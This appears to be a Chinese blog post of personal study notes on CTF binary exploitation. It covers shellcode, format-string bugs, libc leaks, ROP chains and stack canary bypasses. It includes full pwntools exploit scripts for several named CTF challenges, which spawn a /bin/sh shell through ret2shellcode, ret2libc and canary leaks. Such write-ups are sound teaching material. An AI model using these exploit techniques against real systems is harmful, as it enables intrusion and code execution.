Featured image of post pwn

pwn

一些pwn的基础和坑点

概述

本文介绍个人学习pwn过程中的一些总结,包括常用方法,网上诸多教程虽然有提供完整的exp,但并未解释exp为什么是这样的,比如shellcode写到哪里去了(这关系到跳转地址),ROP链怎么选择的。对于pwn,本人也是新手,其中有总结错误的,欢迎各位大佬指正。

1. PWN常用的基本知识

首先拿到一个PWN程序,可以先使用file命令,判断是32位还是64位。

可以使用objdump读取plt和got表,plt和got网上都有详细的介绍,再此不再赘述。

提一下数据在寄存器中的存放顺序,这个在格式化字符串漏洞中要格外注意,特别是64位,32位的先后顺序是eax->edx->ecx->ebx,64位的先后顺序是rdi->rsi->rdx->rcx->r8->r9

刚开始学习的时候,个人经常把pop和push经常搞反,因此在此把这两个指令的介绍说一下:push [reg]/[num] 是将reg寄存器中的值或是数字num压入堆栈中,而pop [reg]是将堆栈栈顶的值弹出到reg寄存器中,并将这个值从堆栈中删去。

有时候要查看寄存器中的值,可以用到如下命令:

  • print $esp:打印esp的值

  • x/10x $esp:打印出10个从esp开始的值

  • x/10x $esp-4:打印出10个从偏移4开始的值

  • x/10gx $esp:以64位格式打印

2.shellcode

生成方式

1、在shellcode数据库网站找一个shellcode,http://shell-storm.org/shellcode/ (当然不止这一个,有时候这上面的shellcode不可以用的话就得考虑一下其他的了,但是shellcode的收集理解是非常重要的!!)

2、使用pwntools自带的函数如asm(shellcraft.sh())

但有时候不知道shellcode写到哪里去了,在回答这个问题前,要提一下bss段、data段、text段、堆(heap)、栈(stack)的一些区别。

  1. bss段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,bss段属于静态内存分配。
  2. data段:数据段(data segment)通常是指用来存放程序中已初始化的全局变量的一块内存区域,数据段属于静态内存分配。
  3. text段:代码段(code segment/text segment)通常是指用来存放程序执行代码的一块内存区域。这部分区域的大小在程序运行前就已经确定,并且内存区域通常属于只读(某些架构也允许代码段为可写,即允许修改程序)。在代码段中,也有可能包含一些只读的常数变量,例如字符串常量等。
  4. 堆(heap):堆是用于存放进程运行中被动态分配的内存段,它的大小并不固定,可动态扩张或缩减。当进程调用malloc等函数分配内存时,新分配的内存就被动态添加到堆上(堆被扩张);当利用free等函数释放内存时,被释放的内存从堆中被剔除(堆被缩减)。(实际上pwn的赛题大多已经在堆这个数据结构上做文章了)
  5. 栈(stack):栈又称堆栈,是用户存放程序临时创建的局部变量,也就是说我们函数括弧“{}”中定义的变量(但不包括static声明的变量,static意味着在数据段中存放变量)。除此以外,在函数被调用时,其参数也会被压入发起调用的进程栈中,并且待到调用结束后,函数的返回值也会被存放回栈中。由于栈的先进先出(FIFO)特点,所以栈特别方便用来保存/恢复调用现场。学好栈是学好pwn的第一步

2024 CBCTF的一道ret2shellcode为例

corrupted

With ELF corrupted, opportunity coexists.

alt textalt text VMMAP查看空间,发生可写可执行段刚好在main函数上,打ret2shellcode alt text IDA中查看,match函数每次发送八个字节,v4不能大于3,但是当然可以小于0,于是每次输入match函数和verify函数的偏移值,将match函数导向verify函数,然后我们第二次将shellcode打包分块发送过去,这样最后就可以执行完shellcode了,注意每次返回时地址偏移i逐步调整shellcode阶段,shellcode长度22,三次发送足以完成 最后exp如下。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#打ret2shellcode
from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
#p=process("/home/nanpop/Desktop/pwn/CBCTF/corrupted/corrupted")
p=remote("training.0rays.club",10093)
#gdb.attach(p)
elf=ELF('/home/nanpop/Desktop/pwn/CBCTF/corrupted/corrupted')

shellcode='''
xor 	rsi,	rsi			
push	rsi				
mov 	rdi,	0x68732f2f6e69622f	 
push	rdi
push	rsp		
pop	rdi				
mov 	al,	59			
cdq					
syscall
'''
payload=asm(shellcode)

match_addr=elf.symbols['match']
verify_addr=elf.symbols['verify']
in_addr=verify_addr-match_addr #可写段上写入负数并跳转,注意//8,每次读4字节
for i in range(3):
    p.recvuntil("> ")
    p.sendline(str(in_addr//8+i))
    p.sendlineafter(">",str(unpack(payload[i*8:i*8+8],'all')))

p.recvuntil("> ")
p.sendline(str(1))
p.sendlineafter(">",str(1))
p.interactive()

补充

某些时候 shellcode地址的位置其实是一个坑。一般来说是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!

原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?有两种方法,一种是 开启core dump这个功能,另外一种是使用GDB的attach功能。

exp中直接用gdb.attach(p),在运行过程中打开动调终端(可以跟网上教程设置tmux,好看还清晰),然后愉快地动调即可

格式化字符串漏洞

这要讲一下字节序。

大端就是:存储最高有效字节在最小的地址(网络传输文件存储常用)。

小端就是:存储最低有效字节在最小的地址(计算机内部存储)。

记忆:小端就是存储先存最小有效字节,大端就是先存最大有效字节。 alt text

printf函数的格式化字符串常见的有 %d,%f,%c,%s(用于读取内存数据),%x(输出16进制数,前面没有0x),%p(输出16进制数,前面带有0x);%n是不经常用到格式符但是也不能不管(任何编程中会用的工具越多越好,不要想着差生文具多),它的作用是把前面已经打印的长度写入某个内存地址,用于修改内存,除了%n,还有%hn,%hhn,%lln,分别为写入目标空间4字节,2字节,1字节,8字节。建议直接上wiki看

(什么你不用wiki?😡)

通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分

1
2
3
格式化字符串函数
格式化字符串
后续参数,可选

用于锁定输入字符串再返回的栈上的地址的发送如下 p.send('AAAA'+'-%p'*10)

  1. AAAA 会占据一个栈帧的位置,且由于格式化字符串漏洞,%p 会从栈上依次打印指针地址,通常这些指针是栈上存储的内容。
  2. 每个 %p 打印出的都是栈中的一个位置,通常是指针或数据的地址。

moectf2024 Leak_sth

alt text

alt text 发现我们在发送之后找到了退出栈的时候的AAAA的地址为第八个,即0x2d70252d41414141,(A对应十六进制41)所以我们要找的V2就是前一个0x5b1ceb6c的位置,即第七位开始发生偏移 EZ EXP:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
context.log_level='debug'
p=process("/home/nanpop/Desktop/pwn/moectf/leak_sth/pwn")
p.recvuntil(b"name?")
p.send(b"%7$ld\n") # %7$d也行

p.recvuntil("name:\n")
ans=p.recvline()
p.sendafter(b"Give me the number\n",ans) 
p.interactive()

3. libc

libc中提供了大量的函数,gdb调试时可直接使用如下命令获取地址,如果未提供,可以去网站http://libcdb.com/下载对应的文件。

可依次执行以下命令,快速getshell。

print system#获取system函数地址。

print __libc_start_main

find 0xb7e393f0, +2200000, "/bin/sh"#获取参数"/bin/sh"的地址

moect2024 这是什么_libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(os='linux',arch='amd64')
io=remote("192.168.77.1",63371)
#io=process("/home/nanpop/Desktop/pwn/moectf/libc/prelibc")
libc=ELF("/home/nanpop/Desktop/pwn/moectf/libc/libc.so.6")

io.recvuntil(b"0x")
libc_base=int(io.recv(12),16)-libc.symbols["puts"]
pop_rdi=libc_base+0x002a3e5
ret_add=libc_base+0x029139
system_add=libc_base+libc.symbols['system']
sh_add=libc_base+next(libc.search(b'/bin/sh'))
#ROPgadget --binary path(libc.so.6) --only "pop|ret" | grep rdi
#0x000000000002a3e5 : pop rdi ; ret
#0x0000000000029139 : ret
payload=cyclic(9)+p64(ret_add)+p64(pop_rdi)+p64(sh_add)+p64(system_add)
"""
payload = flat(
    cyclic(9),  # 填充栈
    ret_add,     # ret gadget
    pop_rdi,     # pop rdi gadget
    sh_add,      # /bin/sh 字符串的地址
    system_add   # system 函数地址
)
"""
"""
libc.address = int(io.recv(12), 16) - libc.sym["puts"]
payload = cyclic(9) + flat([
        libc.search(asm("pop rdi; ret;")).__next__() + 1, # 即 `ret`,用于栈指针对齐
        libc.search(asm("pop rdi; ret;")).__next__(),
        libc.search(b"/bin/sh\x00").__next__(),
        libc.sym["system"],
])
"""
io.sendlineafter(b'>',payload)
io.interactive()

4. ROP

Rop链顺序,首先是跳转地址,比如要调用的内置函数write泄露出system地址,然后是返回地址(如果泄露的地址要重复使用,则返回地址是write地址或者它前面的地址),再就是传递的参数是从右往左入栈。

以ret2syscall为例,一个rop链构造如下:因为要调用execve("/bin/sh",NULL,NULL),该系统函数的调用号为0xb,因此首先要将0xb给eax寄存器,可使用ROPgadget –binary ret2syscall –only “pop|ret” | grep “eax"进行查找。

因为函数execve有三个参数,接着可以使用命令。

ROPgadget --binary ret2syscall --only "pop|pop|pop|ret" | grep "ebx",不能选包含esi(esi是下条指令执行地址)或者ebp(栈基址寄存器)。

使ROPgadget --binary ret2syscall --string '/bin/sh',可查找参数/bin/sh 的地址。

最后再跳转到int 0x80的地址就可执行对应的系统调用,也就是execve函数,可通过ROPgadget --binary ret2syscall --only 'int',找int 0x80的地址。

编写exp,execve调用syscall即可

5. canary

纳米保护机制,小子

关于保护机制的东西不在这里赘述,这里讲讲经典的canary。 Canary(或栈保护)是一种防止栈溢出攻击的技术,广泛用于现代操作系统和编译器中,以防止攻击者通过覆盖返回地址来劫持程序的控制流。它的核心思想是在栈帧中添加一个"canary”(守护值),并在函数返回时验证它是否被修改。如果守护值被改变,说明栈已经被破坏,程序就会提前退出或执行其他安全措施,从而防止恶意代码的执行。

Canary 实现的基本原理

  1. 栈帧布局: 在传统的栈帧中,函数的局部变量、保存的返回地址等都会占用栈空间。在启用了栈保护的程序中,栈帧的布局会被修改,在局部变量和返回地址之间插入一个特殊的值,这个值就是 canary

  2. 插入 Canary 值

    • 当函数被调用时,编译器会自动插入一个随机的 canary 值,这个值通常是随机生成的,并存储在栈中。
    • Canary 值的插入通常是在栈帧的局部变量和返回地址之间。例如,栈帧可能会如下所示:
      1
      2
      3
      4
      5
      6
      7
      
      +-------------------------+
      |  Local variables         |
      +-------------------------+
      |  Canary                  |   inserted by the compiler
      +-------------------------+
      |  Return address          |
      +-------------------------+
      
      • 栈保护机制会确保这个 canary 值在函数返回时仍然存在,如果攻击者通过栈溢出破坏了栈,这个值就会被覆盖。
  3. 保护值验证

    • 在函数返回时,栈保护机制会检查 canary 是否被修改。通常,编译器生成的代码会在函数返回前插入一个验证步骤:
      • 如果 canary 值仍然保持不变,程序就继续执行。
      • 如果 canary 值被修改(说明栈被破坏了),程序会触发异常或调用安全退出函数(例如 __stack_chk_fail())。
    • 这种机制会有效地防止缓冲区溢出攻击,因为攻击者通常无法准确地预测 canary 的值,且如果溢出时不小心修改了 canary,程序就会被终止。
  4. 随机化 Canary 值: 为了增加攻击者猜测 canary 值的难度,通常会在程序启动时通过一个伪随机数生成器生成一个 canary 值,并在每次运行时使用不同的值。这样,即使攻击者知道某个程序的栈保护方式,他们也无法直接利用已知的 canary 值来发起攻击。

  5. 编译器支持

    • GCC 等编译器通常支持通过编译选项启用栈保护(例如 -fstack-protector-fstack-protector-all)。启用栈保护后,编译器会自动在栈帧中插入 canary 值,并在函数返回时进行验证。

Canary 的限制

虽然 Canary 技术提供了一定程度的防护,但它并不是完美的,攻击者依然有可能绕过它。常见的绕过方式包括:

  1. 信息泄露:如果程序存在信息泄露漏洞,攻击者可能能够在某些情况下泄露出 canary 值,从而绕过栈保护。
  2. 堆溢出或其他攻击方式:虽然 canary 保护栈溢出,但它并不防止其他类型的溢出(例如堆溢出),攻击者可能通过这些方式进行攻击。

泄露Canary地址

一开始看各种题目的wp没看明白canary地址泄露的原理,在做了几道之后加以总结一下泄露的方法:

moectf2024 catch_the_canary

alt text alt text 函数空间分配如上,最后read的时候要覆盖0x30字符,但是buf只分配了24个字符空间,所以在24字节后会覆盖到canary上而发生错误,我们发送25个字节覆盖掉’\x00’泄露出后7位canary地址然后塞到payload里就行了——注意袄32位程序是4字节的 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.log_level='debug'
#io=process("/home/nanpop/Desktop/pwn/moectf/the_canary/mycanary")
io=remote("192.168.77.1",64762)
#backdoor=0x4012A8直接跳过push rbp使指针对齐
backdoor=0x4012ad
#爆破16768186u--16777214
io.recvuntil(b'd.')
for i in range(0x00ffdcba,0x1000000):
    io.sendline(str(i).encode())
    rec=io.recvuntil('.\n')
    if b'[Info] Cage opened.\n'==rec:
        break

io.sendlineafter(b't.\n',b'-') #scanf输入-+绕过读取
io.sendline(b'1')
io.sendline(b'195874819')

"""
io.sendlineafter(b'Stop it!\n',b'A'*25)
canary=b'\x00'+io.recvn(7)#canary以字节\x00结尾,据此泄露出8位canary地址
io.send(cyclic(24)+canary+cyclic(8)+p64(backdoor))
"""
io.send(cyclic(25)) #buf区可以放24个字符,所以我们的第25个字符会刚好覆盖'\x00',后七位就是canary地址
io.recvuntil('g')
canary = b'\x00' + io.recvn(7)
io.send(cyclic(24) + canary + cyclic(8) + p64(backdoor))
io.interactive()

⭐canary的绕过

canary有三种写法,施主是否知道╰(°▽°)╯

  1. 模拟 32 位环境下 canary 有效大小仅三字节,可以爆破。(实际场景是新开线程,新线程与主线程 canary 一致,新线程崩溃不导致主线程崩溃。)

  2. 第二种:输入时跳过 canary。例如 scanf 在读取数字时,输入 + 或 - 可跳过输入。(moectf2024)

  3. 通过溢出读取填满 canary 的首空字节再输出从而泄漏 canary。

本博客已稳定运行
发表了14篇文章 · 总计3万2千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...